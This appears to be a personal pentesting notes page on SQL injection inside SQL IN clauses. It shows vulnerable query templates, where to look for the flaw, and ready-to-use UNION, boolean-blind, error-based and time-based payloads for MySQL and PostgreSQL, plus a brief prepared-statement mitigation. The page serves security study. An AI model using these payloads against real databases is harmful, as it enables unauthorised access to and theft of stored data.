🧠 SQLi Context - IN
Vulnerable Code Example & Theory
Vulnerable Code The
INoperator allows you to specify multiple values in aWHEREclause. It essentially acts as a shorthand for multipleORconditions. You will find your input injected inside a set of parentheses, usually as part of a comma-separated list.You must determine if the elements in the list are Integers or Strings:
1. Integer Context:
SELECT name, price FROM products WHERE category_id IN (1, 2, {input})2. String Context:
SELECT username FROM users WHERE role IN ('manager', '{input}')The Breakout Strategy: To break out, you must close the developer’s list by injecting a closing parenthesis
), and if you are in a string context, a closing quote'before it. Then, you can append standard SQL injection clauses (UNION,AND,OR).Where To Look For The Vulnerability
- Array Inputs: Checkboxes or multi-select dropdowns where multiple values are submitted at once (e.g.,
?category[]=1&category[]=5).- Bulk Actions: Features like “Delete Selected” or “Export Selected” rows.
- Filtering: E-commerce filters like “Show sizes: S, M, L”.
Exploitations
The payloads below assume an Integer Context (IN (1, 2, {input})).
If you are in a String Context (IN ('a', 'b', '{input}')), simply prefix these payloads with a single quote: ') instead of just ).
SQLi - UNION-based
Close the IN list, append your own query, and comment out the rest.
-- Break out with ) and append UNION
-1) UNION {SELECT_query}--
-- String context example:
test') UNION {SELECT_query}--SQLi - Boolean-based Blind
Close the list and append AND / OR conditions to test True/False logic.
-- Syntax: [Valid ID]) AND ([Your Condition])--
-- Example: Check if the admin password starts with 'A' (ASCII 65)
1) AND (ASCII(SUBSTRING(({query}), 1, 1)) = 65)--SQLi - Error-based
Force an error that leaks data directly to the web page.
-- Syntax: [Valid ID]) AND [Error Function]--
-- MySQL: XPATH Error
1) AND EXTRACTVALUE(1, CONCAT(0x7e, ({query})))--
-- PostgreSQL: Cast Error
1) AND CAST(({query}) AS INT)--SQLi - Time-based Blind
Force a database sleep if a condition is met.
-- Syntax: [Valid ID]) AND [Sleep Function]--
-- MySQL: If user is admin, sleep 5 seconds
1) AND IF((SELECT user)='admin', SLEEP(5), 0)--
-- PostgreSQL:
1) AND (SELECT CASE WHEN ((SELECT current_user)='admin') THEN pg_sleep(5) ELSE pg_sleep(0) END)--Mitigation
- Fix: Use Prepared Statements. Handling
INclauses with prepared statements can be tricky for developers because the number of placeholders(?, ?, ?)must dynamically match the number of user inputs. A common secure pattern is to dynamically generate the correct number of?marks based on the input array size, and then bind the parameters in a loop.
Related Usage
TABLE creation_date AS "Created"
FROM "05 - Content"
WHERE contains(techniques, this.file.link) AND contains(tags, "🚩")
SORT file.name ASC